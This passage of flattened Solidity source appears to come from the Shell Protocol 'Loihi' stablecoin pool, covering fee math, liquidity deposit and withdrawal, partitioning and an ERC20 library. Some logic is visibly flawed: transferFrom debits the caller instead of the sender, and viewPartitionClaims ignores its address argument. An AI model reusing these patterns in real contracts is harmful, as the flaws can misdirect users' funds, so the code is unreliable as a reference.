_gLiq.us_mul(_weights[i]); psi_ += calculateMicroFee(_bals[i], _ideal, _beta, _delta); } } function calculateMicroFee ( int128 _bal, int128 _ideal, int128 _beta, int128 _delta ) private pure returns (int128 fee_) { if (_bal < _ideal) { int128 _threshold = _ideal.us_mul(ONE - _beta); if (_bal < _threshold) { int128 _feeSection = _threshold - _bal; fee_ = _feeSection.us_div(_ideal); fee_ = fee_.us_mul(_delta); if (fee_ > MAX) fee_ = MAX; fee_ = fee_.us_mul(_feeSection); } else fee_ = 0; } else { int128 _threshold = _ideal.us_mul(ONE + _beta); if (_bal > _threshold) { int128 _feeSection = _bal - _threshold; fee_ = _feeSection.us_div(_ideal); fee_ = fee_.us_mul(_delta); if (fee_ > MAX) fee_ = MAX; fee_ = fee_.us_mul(_feeSection); } else fee_ = 0; } } function calculateTrade ( LoihiStorage.Shell storage shell, int128 _oGLiq, int128 _nGLiq, int128[] memory _oBals, int128[] memory _nBals, int128 _inputAmt, uint _outputIndex ) internal view returns (int128 outputAmt_ , int128 psi_) { outputAmt_ = - _inputAmt; int128 _lambda = shell.lambda; int128 _omega = shell.omega; int128 _beta = shell.beta; int128 _delta = shell.delta; int128[] memory _weights = shell.weights; for (uint i = 0; i < 32; i++) { psi_ = calculateFee(_nGLiq, _nBals, _beta, _delta, _weights); if (( outputAmt_ = _omega < psi_ ? - ( _inputAmt + _omega - psi_ ) : - ( _inputAmt + _lambda.us_mul(_omega - psi_)) ) / 1e13 == outputAmt_ / 1e13 ) { _nGLiq = _oGLiq + _inputAmt + outputAmt_; _nBals[_outputIndex] = _oBals[_outputIndex] + outputAmt_; enforceHalts(shell, _oGLiq, _nGLiq, _oBals, _nBals, _weights); require(ABDKMath64x64.sub(_oGLiq, _omega) <= ABDKMath64x64.sub(_nGLiq, psi_), "Shell/swap-invariant-violation"); return ( outputAmt_, psi_ ); } else { _nGLiq = _oGLiq + _inputAmt + outputAmt_; _nBals[_outputIndex] = _oBals[_outputIndex].add(outputAmt_); } } revert("Shell/swap-convergence-failed"); } function calculateLiquidityMembrane ( LoihiStorage.Shell storage shell, int128 _oGLiq, int128 _nGLiq, int128[] memory _oBals, int128[] memory _nBals ) internal view returns (int128 shells_, int128 psi_) { enforceHalts(shell, _oGLiq, _nGLiq, _oBals, _nBals, shell.weights); psi_ = calculateFee(_nGLiq, _nBals, shell.beta, shell.delta, shell.weights); int128 _omega = shell.omega; int128 _feeDiff = psi_.sub(_omega); int128 _liqDiff = _nGLiq.sub(_oGLiq); int128 _oUtil = _oGLiq.sub(_omega); uint _totalSupply = shell.totalSupply; if (_totalSupply == 0) { shells_ = _nGLiq.sub(psi_); } else if (_feeDiff >= 0) { shells_ = _liqDiff.sub(_feeDiff).div(_oUtil); } else { shells_ = _liqDiff.sub(shell.lambda.mul(_feeDiff)); shells_ = shells_.div(_oUtil); } int128 _shellsPrev = _totalSupply.divu(1e18); if (_totalSupply != 0) { shells_ = shells_.mul(_shellsPrev); int128 _prevUtilPerShell = _oGLiq.sub(_omega); _prevUtilPerShell = _prevUtilPerShell.div(_shellsPrev); int128 _nextUtilPerShell = _nGLiq.sub(psi_); _nextUtilPerShell = _nextUtilPerShell.div(_shellsPrev.add(shells_)); _nextUtilPerShell += ONE_WEI; require(_prevUtilPerShell <= _nextUtilPerShell, "Shell/invariant-violation"); } } function enforceHalts ( LoihiStorage.Shell storage shell, int128 _oGLiq, int128 _nGLiq, int128[] memory _oBals, int128[] memory _nBals, int128[] memory _weights ) private view { uint256 _length = _nBals.length; int128 _alpha = shell.alpha; for (uint i = 0; i < _length; i++) { int128 _nIdeal = _nGLiq.us_mul(_weights[i]); if (_nBals[i] > _nIdeal) { int128 _upperAlpha = ONE + _alpha; int128 _nHalt = _nIdeal.us_mul(_upperAlpha); if (_nBals[i] > _nHalt){ int128 _oHalt = _oGLiq.us_mul(_weights[i]).us_mul(_upperAlpha); if (_oBals[i] < _oHalt) revert("Shell/upper-halt"); if (_nBals[i] - _nHalt > _oBals[i] - _oHalt) revert("Shell/upper-halt"); } } else { int128 _lowerAlpha = ONE - _alpha; int128 _nHalt = _nIdeal.us_mul(_lowerAlpha); if (_nBals[i] < _nHalt){ int128 _oHalt = _oGLiq.us_mul(_weights[i]).us_mul(_lowerAlpha); if (_oBals[i] > _oHalt) revert("Shell/lower-halt"); if (_nHalt - _nBals[i] > _oHalt - _oBals[i]) revert("Shel/lower-halt"); } } } } } ////// src/Orchestrator.sol // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. /* pragma solidity ^0.5.0; */ /* import "./Assimilators.sol"; */ /* import "./ShellMath.sol"; */ /* import "./LoihiStorage.sol"; */ /* import "abdk-libraries-solidity/ABDKMath64x64.sol"; */ library Orchestrator { using ABDKMath64x64 for int128; using ABDKMath64x64 for uint256; int128 constant ONE_WEI = 0x12; event ParametersSet(uint256 alpha, uint256 beta, uint256 delta, uint256 epsilon, uint256 lambda, uint256 omega); event AssetIncluded(address indexed numeraire, address indexed reserve, uint weight); event AssimilatorIncluded(address indexed derivative, address indexed numeraire, address indexed reserve, address assimilator); function setParams ( LoihiStorage.Shell storage shell, uint256 _alpha, uint256 _beta, uint256 _feeAtHalt, uint256 _epsilon, uint256 _lambda ) external { require(_alpha < 1e18 && _alpha > 0, "Shell/parameter-invalid-alpha"); require(_beta <= _alpha && _beta >= 0, "Shell/parameter-invalid-beta"); require(_feeAtHalt <= .5e18, "Shell/parameter-invalid-max"); require(_epsilon < 1e16 && _epsilon >= 0, "Shell/parameter-invalid-epsilon"); require(_lambda <= 1e18 && _lambda >= 0, "Shell/parameter-invalid-lambda"); shell.alpha = (_alpha + 1).divu(1e18); shell.beta = (_beta + 1).divu(1e18); shell.delta = ( _feeAtHalt ).divu(1e18).div(uint(2).fromUInt().mul(shell.alpha.sub(shell.beta))) + ONE_WEI; shell.epsilon = (_epsilon + 1).divu(1e18); shell.lambda = (_lambda + 1).divu(1e18); shell.omega = getNewOmega(shell); emit ParametersSet(_alpha, _beta, shell.delta.mulu(1e18), _epsilon, _lambda, shell.omega.mulu(1e18)); } function getNewOmega ( LoihiStorage.Shell storage shell ) private view returns ( int128 omega_ ) { int128 _gLiq; int128[] memory _bals = new int128[](shell.assets.length); for (uint i = 0; i < _bals.length; i++) { int128 _bal = Assimilators.viewNumeraireBalance(shell.assets[i].addr); _bals[i] = _bal; _gLiq += _bal; } omega_ = ShellMath.calculateFee(_gLiq, _bals, shell.beta, shell.delta, shell.weights); } function initialize ( LoihiStorage.Shell storage shell, address[] storage numeraires, address[] storage reserves, address[] storage derivatives, address[] calldata _assets, uint[] calldata _assetWeights, address[] calldata _derivativeAssimilators ) external { for (uint i = 0; i < _assetWeights.length; i++) { uint ix = i*5; numeraires.push(_assets[ix]); derivatives.push(_assets[ix]); reserves.push(_assets[2+ix]); if (_assets[ix] != _assets[2+ix]) derivatives.push(_assets[2+ix]); includeAsset( shell, _assets[ix], // numeraire _assets[1+ix], // numeraire assimilator _assets[2+ix], // reserve _assets[3+ix], // reserve assimilator _assets[4+ix], // reserve approve to _assetWeights[i] ); } for (uint i = 0; i < _derivativeAssimilators.length / 5; i++) { uint ix = i * 5; derivatives.push(_derivativeAssimilators[ix]); includeAssimilator( shell, _derivativeAssimilators[ix], // derivative _derivativeAssimilators[1+ix], // numeraire _derivativeAssimilators[2+ix], // reserve _derivativeAssimilators[3+ix], // assimilator _derivativeAssimilators[4+ix] // derivative approve to ); } } function includeAsset ( LoihiStorage.Shell storage shell, address _numeraire, address _numeraireAssim, address _reserve, address _reserveAssim, address _reserveApproveTo, uint256 _weight ) private { require(_numeraire != address(0), "Shell/numeraire-cannot-be-zeroth-adress"); require(_numeraireAssim != address(0), "Shell/numeraire-assimilator-cannot-be-zeroth-adress"); require(_reserve != address(0), "Shell/reserve-cannot-be-zeroth-adress"); require(_reserveAssim != address(0), "Shell/reserve-assimilator-cannot-be-zeroth-adress"); require(_weight < 1e18, "Shell/weight-must-be-less-than-one"); if (_numeraire != _reserve) safeApprove(_numeraire, _reserveApproveTo, uint(-1)); LoihiStorage.Assimilator storage _numeraireAssimilator = shell.assimilators[_numeraire]; _numeraireAssimilator.addr = _numeraireAssim; _numeraireAssimilator.ix = uint8(shell.assets.length); LoihiStorage.Assimilator storage _reserveAssimilator = shell.assimilators[_reserve]; _reserveAssimilator.addr = _reserveAssim; _reserveAssimilator.ix = uint8(shell.assets.length); int128 __weight = _weight.divu(1e18).add(uint256(1).divu(1e18)); shell.weights.push(__weight); shell.assets.push(_numeraireAssimilator); emit AssetIncluded(_numeraire, _reserve, _weight); emit AssimilatorIncluded(_numeraire, _numeraire, _numeraire, _numeraireAssim); if (_numeraireAssim != _reserveAssim) { emit AssimilatorIncluded(_numeraire, _numeraire, _reserve, _reserveAssim); } } function includeAssimilator ( LoihiStorage.Shell storage shell, address _derivative, address _numeraire, address _reserve, address _assimilator, address _derivativeApproveTo ) private { require(_derivative != address(0), "Shell/derivative-cannot-be-zeroth-address"); require(_numeraire != address(0), "Shell/numeraire-cannot-be-zeroth-address"); require(_reserve != address(0), "Shell/numeraire-cannot-be-zeroth-address"); require(_assimilator != address(0), "Shell/assimilator-cannot-be-zeroth-address"); safeApprove(_numeraire, _derivativeApproveTo, uint(-1)); LoihiStorage.Assimilator storage _numeraireAssim = shell.assimilators[_numeraire]; shell.assimilators[_derivative] = LoihiStorage.Assimilator(_assimilator, _numeraireAssim.ix); emit AssimilatorIncluded(_derivative, _numeraire, _reserve, _assimilator); } function safeApprove ( address _token, address _spender, uint256 _value ) private { ( bool success, bytes memory returndata ) = _token.call(abi.encodeWithSignature("approve(address,uint256)", _spender, _value)); require(success, "SafeERC20: low-level call failed"); } function prime (LoihiStorage.Shell storage shell) external { uint _length = shell.assets.length; int128[] memory _oBals = new int128[](_length); int128 _oGLiq; for (uint i = 0; i < _length; i++) { int128 _bal = Assimilators.viewNumeraireBalance(shell.assets[i].addr); _oGLiq += _bal; _oBals[i] = _bal; } shell.omega = ShellMath.calculateFee(_oGLiq, _oBals, shell.beta, shell.delta, shell.weights); } function viewShell ( LoihiStorage.Shell storage shell ) external view returns ( uint alpha_, uint beta_, uint delta_, uint epsilon_, uint lambda_, uint omega_ ) { alpha_ = shell.alpha.mulu(1e18); beta_ = shell.beta.mulu(1e18); delta_ = shell.delta.mulu(1e18); epsilon_ = shell.epsilon.mulu(1e18); lambda_ = shell.lambda.mulu(1e18); omega_ = shell.omega.mulu(1e18); } } ////// src/PartitionedLiquidity.sol /* pragma solidity ^0.5.0; */ /* import "./Assimilators.sol"; */ /* import "./LoihiStorage.sol"; */ /* import "./UnsafeMath64x64.sol"; */ library PartitionedLiquidity { using ABDKMath64x64 for uint; using ABDKMath64x64 for int128; using UnsafeMath64x64 for int128; event PoolPartitioned(bool); event PartitionRedeemed(address indexed token, address indexed redeemer, uint value); int128 constant ONE = 0x10000000000000000; function partition ( LoihiStorage.Shell storage shell, mapping (address => LoihiStorage.PartitionTicket) storage partitionTickets ) external { uint _length = shell.assets.length; LoihiStorage.PartitionTicket storage totalSupplyTicket = partitionTickets[address(this)]; totalSupplyTicket.initialized = true; for (uint i = 0; i < _length; i++) totalSupplyTicket.claims.push(shell.totalSupply); emit PoolPartitioned(true); } function viewPartitionClaims ( LoihiStorage.Shell storage shell, mapping (address => LoihiStorage.PartitionTicket) storage partitionTickets, address _addr ) external view returns ( uint[] memory claims_ ) { LoihiStorage.PartitionTicket storage ticket = partitionTickets[_addr]; if (ticket.initialized) return ticket.claims; uint _length = shell.assets.length; uint[] memory claims_ = new uint[](_length); uint _balance = shell.balances[msg.sender]; for (uint i = 0; i < _length; i++) claims_[i] = _balance; return claims_; } function partitionedWithdraw ( LoihiStorage.Shell storage shell, mapping (address => LoihiStorage.PartitionTicket) storage partitionTickets, address[] calldata _derivatives, uint[] calldata _withdrawals ) external returns ( uint[] memory ) { uint _length = shell.assets.length; uint _balance = shell.balances[msg.sender]; LoihiStorage.PartitionTicket storage totalSuppliesTicket = partitionTickets[address(this)]; LoihiStorage.PartitionTicket storage ticket = partitionTickets[msg.sender]; if (!ticket.initialized) { for (uint i = 0; i < _length; i++) ticket.claims.push(_balance); ticket.initialized = true; } _length = _derivatives.length; uint[] memory withdrawals_ = new uint[](_length); for (uint i = 0; i < _length; i++) { LoihiStorage.Assimilator memory _assim = shell.assimilators[_derivatives[i]]; require(totalSuppliesTicket.claims[_assim.ix] >= _withdrawals[i], "Shell/burn-exceeds-total-supply"); require(ticket.claims[_assim.ix] >= _withdrawals[i], "Shell/insufficient-balance"); require(_assim.addr != address(0), "Shell/unsupported-asset"); int128 _reserveBalance = Assimilators.viewNumeraireBalance(_assim.addr); int128 _multiplier = _withdrawals[i].divu(1e18) .div(totalSuppliesTicket.claims[_assim.ix].divu(1e18)); totalSuppliesTicket.claims[_assim.ix] = totalSuppliesTicket.claims[_assim.ix] - _withdrawals[i]; ticket.claims[_assim.ix] = ticket.claims[_assim.ix] - _withdrawals[i]; uint _withdrawal = Assimilators.outputNumeraire( _assim.addr, msg.sender, _reserveBalance.mul(_multiplier) ); withdrawals_[i] = _withdrawal; emit PartitionRedeemed(_derivatives[i], msg.sender, withdrawals_[i]); } return withdrawals_; } } ////// src/ProportionalLiquidity.sol /* pragma solidity ^0.5.0; */ /* import "./Assimilators.sol"; */ /* import "./LoihiStorage.sol"; */ /* import "./UnsafeMath64x64.sol"; */ library ProportionalLiquidity { using ABDKMath64x64 for uint; using ABDKMath64x64 for int128; using UnsafeMath64x64 for int128; event Transfer(address indexed from, address indexed to, uint256 value); int128 constant ONE = 0x10000000000000000; function proportionalDeposit ( LoihiStorage.Shell storage shell, uint256 _deposit ) external returns ( uint256 shells_, uint[] memory ) { int128 _shells = _deposit.divu(1e18); int128 _oGLiq; uint _length = shell.assets.length; int128[] memory _oBals = new int128[](_length); uint[] memory deposits_ = new uint[](_length); for (uint i = 0; i < _length; i++) { int128 _bal = Assimilators.viewNumeraireBalance(shell.assets[i].addr); _oBals[i] = _bal; _oGLiq += _bal; } if (_oGLiq == 0) { for (uint8 i = 0; i < _length; i++) { deposits_[i] = Assimilators.intakeNumeraire(shell.assets[i].addr, _shells.mul(shell.weights[i])); } } else { int128 _multiplier = _shells.div(_oGLiq); for (uint8 i = 0; i < _length; i++) { deposits_[i] = Assimilators.intakeNumeraire(shell.assets[i].addr, _oBals[i].mul(_multiplier)); } shell.omega = shell.omega.mul(ONE.add(_multiplier)); } if (shell.totalSupply > 0) _shells = _shells.div(_oGLiq).mul(shell.totalSupply.divu(1e18)); mint(shell, msg.sender, shells_ = _shells.mulu(1e18)); return (shells_, deposits_); } function viewProportionalDeposit ( LoihiStorage.Shell storage shell, uint256 _deposit ) external view returns ( uint shells_, uint[] memory ) { int128 _shells = _deposit.divu(1e18); int128 _oGLiq; uint _length = shell.assets.length; int128[] memory _oBals = new int128[](_length); uint[] memory deposits_ = new uint[](_length); for (uint i = 0; i < _length; i++) { int128 _bal = Assimilators.viewNumeraireBalance(shell.assets[i].addr); _oBals[i] = _bal; _oGLiq += _bal; } if (_oGLiq == 0) { for (uint8 i = 0; i < _length; i++) { deposits_[i] = Assimilators.viewRawAmount(shell.assets[i].addr, _shells.mul(shell.weights[i])); } } else { int128 _multiplier = _shells.div(_oGLiq); for (uint8 i = 0; i < _length; i++) { deposits_[i] = Assimilators.viewRawAmount(shell.assets[i].addr, _oBals[i].mul(_multiplier)); } } shells_ = _shells.mulu(1e18); return ( shells_, deposits_ ); } function proportionalWithdraw ( LoihiStorage.Shell storage shell, uint256 _withdrawal ) external returns ( uint[] memory ) { uint _length = shell.assets.length; int128 _oGLiq; int128[] memory _oBals = new int128[](_length); uint[] memory withdrawals_ = new uint[](_length); for (uint i = 0; i < _length; i++) { int128 _bal = Assimilators.viewNumeraireBalance(shell.assets[i].addr); _oGLiq += _bal; _oBals[i] = _bal; } int128 _multiplier = _withdrawal.divu(1e18) .mul(ONE.sub(shell.epsilon)) .div(shell.totalSupply.divu(1e18)); for (uint8 i = 0; i < _length; i++) { withdrawals_[i] = Assimilators.outputNumeraire(shell.assets[i].addr, msg.sender, _oBals[i].mul(_multiplier)); } shell.omega = shell.omega.mul(ONE.sub(_multiplier)); burn(shell, msg.sender, _withdrawal); return withdrawals_; } function viewProportionalWithdraw ( LoihiStorage.Shell storage shell, uint256 _withdrawal ) external view returns ( uint[] memory ) { uint _length = shell.assets.length; int128 _oGLiq; int128[] memory _oBals = new int128[](_length); uint[] memory withdrawals_ = new uint[](_length); for (uint i = 0; i < _length; i++) { int128 _bal = Assimilators.viewNumeraireBalance(shell.assets[i].addr); _oGLiq += _bal; _oBals[i] = _bal; } int128 _multiplier = _withdrawal.divu(1e18) .mul(ONE.sub(shell.epsilon)) .div(shell.totalSupply.divu(1e18)); for (uint8 i = 0; i < _length; i++) { withdrawals_[i] = Assimilators.viewRawAmount(shell.assets[i].addr, _oBals[i].mul(_multiplier)); } return withdrawals_; } function burn (LoihiStorage.Shell storage shell, address account, uint256 amount) private { shell.balances[account] = burn_sub(shell.balances[account], amount); shell.totalSupply = burn_sub(shell.totalSupply, amount); emit Transfer(msg.sender, address(0), amount); } function mint (LoihiStorage.Shell storage shell, address account, uint256 amount) private { shell.totalSupply = mint_add(shell.totalSupply, amount); shell.balances[account] = mint_add(shell.balances[account], amount); emit Transfer(address(0), msg.sender, amount); } function mint_add(uint x, uint y) private pure returns (uint z) { require((z = x + y) >= x, "Shell/mint-overflow"); } function burn_sub(uint x, uint y) private pure returns (uint z) { require((z = x - y) <= x, "Shell/burn-underflow"); } } ////// src/SelectiveLiquidity.sol /* pragma solidity ^0.5.0; */ /* import "./Assimilators.sol"; */ /* import "./LoihiStorage.sol"; */ /* import "./ShellMath.sol"; */ /* import "./UnsafeMath64x64.sol"; */ /* import "abdk-libraries-solidity/ABDKMath64x64.sol"; */ library SelectiveLiquidity { using ABDKMath64x64 for int128; using UnsafeMath64x64 for int128; event Transfer(address indexed from, address indexed to, uint256 value); int128 constant ONE = 0x10000000000000000; function selectiveDeposit ( LoihiStorage.Shell storage shell, address[] calldata _derivatives, uint[] calldata _amounts, uint _minShells ) external returns ( uint shells_ ) { ( int128 _oGLiq, int128 _nGLiq, int128[] memory _oBals, int128[] memory _nBals ) = getLiquidityDepositData(shell, _derivatives, _amounts); int128 _shells; ( _shells, shell.omega ) = ShellMath.calculateLiquidityMembrane(shell, _oGLiq, _nGLiq, _oBals, _nBals); shells_ = _shells.mulu(1e18); require(_minShells < shells_, "Shell/under-minimum-shells"); mint(shell, msg.sender, shells_); } function viewSelectiveDeposit ( LoihiStorage.Shell storage shell, address[] calldata _derivatives, uint[] calldata _amounts ) external view returns ( uint shells_ ) { ( int128 _oGLiq, int128 _nGLiq, int128[] memory _oBals, int128[] memory _nBals ) = viewLiquidityDepositData(shell, _derivatives, _amounts); ( int128 _shells, ) = ShellMath.calculateLiquidityMembrane(shell, _oGLiq, _nGLiq, _oBals, _nBals); shells_ = _shells.mulu(1e18); } function selectiveWithdraw ( LoihiStorage.Shell storage shell, address[] calldata _derivatives, uint[] calldata _amounts, uint _maxShells ) external returns ( uint256 shells_ ) { ( int128 _oGLiq, int128 _nGLiq, int128[] memory _oBals, int128[] memory _nBals ) = getLiquidityWithdrawData(shell, _derivatives, msg.sender, _amounts); int128 _shells; ( _shells, shell.omega ) = ShellMath.calculateLiquidityMembrane(shell, _oGLiq, _nGLiq, _oBals, _nBals); _shells = _shells.abs().us_mul(ONE + shell.epsilon); shells_ = _shells.mulu(1e18); require(shells_ < _maxShells, "Shell/above-maximum-shells"); burn(shell, msg.sender, shells_); } function viewSelectiveWithdraw ( LoihiStorage.Shell storage shell, address[] calldata _derivatives, uint[] calldata _amounts ) external view returns ( uint shells_ ) { ( int128 _oGLiq, int128 _nGLiq, int128[] memory _oBals, int128[] memory _nBals ) = viewLiquidityWithdrawData(shell, _derivatives, _amounts); ( int128 _shells, ) = ShellMath.calculateLiquidityMembrane(shell, _oGLiq, _nGLiq, _oBals, _nBals); _shells = _shells.abs().us_mul(ONE + shell.epsilon); shells_ = _shells.mulu(1e18); } function getLiquidityDepositData ( LoihiStorage.Shell storage shell, address[] memory _derivatives, uint[] memory _amounts ) private returns ( int128 oGLiq_, int128 nGLiq_, int128[] memory, int128[] memory ) { uint _length = shell.weights.length; int128[] memory oBals_ = new int128[](_length); int128[] memory nBals_ = new int128[](_length); for (uint i = 0; i < _derivatives.length; i++) { LoihiStorage.Assimilator memory _assim = shell.assimilators[_derivatives[i]]; require(_assim.addr != address(0), "Shell/unsupported-derivative"); if ( nBals_[_assim.ix] == 0 && oBals_[_assim.ix] == 0 ) { ( int128 _amount, int128 _balance ) = Assimilators.intakeRawAndGetBalance(_assim.addr, _amounts[i]); nBals_[_assim.ix] = _balance; oBals_[_assim.ix] = _balance.sub(_amount); } else { int128 _amount = Assimilators.intakeRaw(_assim.addr, _amounts[i]); nBals_[_assim.ix] = nBals_[_assim.ix].sub(_amount); } } return completeLiquidityData(shell, oBals_, nBals_); } function getLiquidityWithdrawData ( LoihiStorage.Shell storage shell, address[] memory _derivatives, address _rcpnt, uint[] memory _amounts ) private returns ( int128 oGLiq_, int128 nGLiq_, int128[] memory, int128[] memory ) { uint _length = shell.weights.length; int128[] memory oBals_ = new int128[](_length); int128[] memory nBals_ = new int128[](_length); for (uint i = 0; i < _derivatives.length; i++) { LoihiStorage.Assimilator memory _assim = shell.assimilators[_derivatives[i]]; require(_assim.addr != address(0), "Shell/unsupported-derivative"); if ( nBals_[_assim.ix] == 0 && oBals_[_assim.ix] == 0 ) { ( int128 _amount, int128 _balance ) = Assimilators.outputRawAndGetBalance(_assim.addr, _rcpnt, _amounts[i]); nBals_[_assim.ix] = _balance; oBals_[_assim.ix] = _balance.sub(_amount); } else { int128 _amount = Assimilators.outputRaw(_assim.addr, _rcpnt, _amounts[i]); nBals_[_assim.ix] = nBals_[_assim.ix].sub(_amount); } } return completeLiquidityData(shell, oBals_, nBals_); } function viewLiquidityDepositData ( LoihiStorage.Shell storage shell, address[] memory _derivatives, uint[] memory _amounts ) private view returns ( int128 oGLiq_, int128 nGLiq_, int128[] memory, int128[] memory ) { uint _length = shell.assets.length; int128[] memory oBals_ = new int128[](_length); int128[] memory nBals_ = new int128[](_length); for (uint i = 0; i < _derivatives.length; i++) { LoihiStorage.Assimilator memory _assim = shell.assimilators[_derivatives[i]]; require(_assim.addr != address(0), "Shell/unsupported-derivative"); if ( nBals_[_assim.ix] == 0 && oBals_[_assim.ix] == 0 ) { ( int128 _amount, int128 _balance ) = Assimilators.viewNumeraireAmountAndBalance(_assim.addr, _amounts[i]); nBals_[_assim.ix] = _balance.add(_amount); oBals_[_assim.ix] = _balance; } else { int128 _amount = Assimilators.viewNumeraireAmount(_assim.addr, _amounts[i]); nBals_[_assim.ix] = nBals_[_assim.ix].sub(_amount); } } return completeLiquidityData(shell, oBals_, nBals_); } function viewLiquidityWithdrawData ( LoihiStorage.Shell storage shell, address[] memory _derivatives, uint[] memory _amounts ) private view returns ( int128 oGLiq_, int128 nGLiq_, int128[] memory, int128[] memory ) { uint _length = shell.assets.length; int128[] memory oBals_ = new int128[](_length); int128[] memory nBals_ = new int128[](_length); for (uint i = 0; i < _derivatives.length; i++) { LoihiStorage.Assimilator memory _assim = shell.assimilators[_derivatives[i]]; require(_assim.addr != address(0), "Shell/unsupported-derivative"); if ( nBals_[_assim.ix] == 0 && oBals_[_assim.ix] == 0 ) { ( int128 _amount, int128 _balance ) = Assimilators.viewNumeraireAmountAndBalance(_assim.addr, _amounts[i]); nBals_[_assim.ix] = _balance.add(_amount.neg()); oBals_[_assim.ix] = _balance; } else { int128 _amount = Assimilators.viewNumeraireAmount(_assim.addr, _amounts[i]); nBals_[_assim.ix] = nBals_[_assim.ix].sub(_amount.neg()); } } return completeLiquidityData(shell, oBals_, nBals_); } function completeLiquidityData ( LoihiStorage.Shell storage shell, int128[] memory oBals_, int128[] memory nBals_ ) private view returns ( int128 oGLiq_, int128 nGLiq_, int128[] memory, int128[] memory ) { uint _length = oBals_.length; for (uint i = 0; i < _length; i++) { if (oBals_[i] == 0 && nBals_[i] == 0) nBals_[i] = oBals_[i] = Assimilators.viewNumeraireBalance(shell.assets[i].addr); oGLiq_ += oBals_[i]; nGLiq_ += nBals_[i]; } return ( oGLiq_, nGLiq_, oBals_, nBals_ ); } function burn (LoihiStorage.Shell storage shell, address account, uint256 amount) private { shell.balances[account] = burn_sub(shell.balances[account], amount); shell.totalSupply = burn_sub(shell.totalSupply, amount); emit Transfer(msg.sender, address(0), amount); } function mint (LoihiStorage.Shell storage shell, address account, uint256 amount) private { shell.totalSupply = mint_add(shell.totalSupply, amount); shell.balances[account] = mint_add(shell.balances[account], amount); emit Transfer(address(0), msg.sender, amount); } function mint_add(uint x, uint y) private pure returns (uint z) { require((z = x + y) >= x, "Shell/mint-overflow"); } function burn_sub(uint x, uint y) private pure returns (uint z) { require((z = x - y) <= x, "Shell/burn-underflow"); } } ////// src/Shells.sol // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. /* pragma solidity ^0.5.0; */ /* import "./LoihiStorage.sol"; */ /* import "./Assimilators.sol"; */ /* import "abdk-libraries-solidity/ABDKMath64x64.sol"; */ library Shells { using ABDKMath64x64 for int128; event Approval(address indexed _owner, address indexed spender, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); function add(uint x, uint y, string memory errorMessage) private pure returns (uint z) { require((z = x + y) >= x, errorMessage); } function sub(uint x, uint y, string memory errorMessage) private pure returns (uint z) { require((z = x - y) <= x, errorMessage); } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(LoihiStorage.Shell storage shell, address recipient, uint256 amount) external returns (bool) { _transfer(shell, msg.sender, recipient, amount); return true; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(LoihiStorage.Shell storage shell, address spender, uint256 amount) external returns (bool) { _approve(shell, msg.sender, spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for `sender`'s tokens of at least * `amount` */ function transferFrom(LoihiStorage.Shell storage shell, address sender, address recipient, uint256 amount) external returns (bool) { _transfer(shell, msg.sender, recipient, amount); _approve(shell, sender, msg.sender, sub(shell.allowances[sender][msg.sender], amount, "Shell/insufficient-allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(LoihiStorage.Shell storage shell, address spender, uint256 addedValue) external returns (bool) { _approve(shell, msg.sender, spender, add(shell.allowances[msg.sender][spender], addedValue, "Shell/approval-overflow")); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(LoihiStorage.Shell storage shell, address spender, uint256 subtractedValue) external returns (bool) { _approve(shell, msg.sender, spender, sub(shell.allowances[msg.sender][spender], subtractedValue, "Shell/allowance-decrease-underflow")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is public function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(LoihiStorage.Shell storage shell, address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); shell.balances[sender] = sub(shell.balances[sender], amount, "Shell/insufficient-balance"); shell.balances[recipient] = add(shell.balances[recipient], amount, "Shell/transfer-overflow"); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `_owner`s tokens. * * This is public function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `_owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(LoihiStorage.Shell storage shell, address _owner, address spender, uint256 amount) private { require(_owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); shell.allowances[_owner][spender] = amount; emit Approval(_owner, spender, amount); } } ////// src/Swaps.sol /* pragma solidity ^0.5.0; */ /* import "./Assimilators.sol"; */ /* import "./LoihiStorage.sol"; */ /* import "./ShellMath.sol"; */ /* import "./UnsafeMath64x64.sol"; */ /* import "abdk-libraries-solidity/ABDKMath64x64.sol"; */ library Swaps { using ABDKMath64x64 for int128; using UnsafeMath64x64 for int128; event 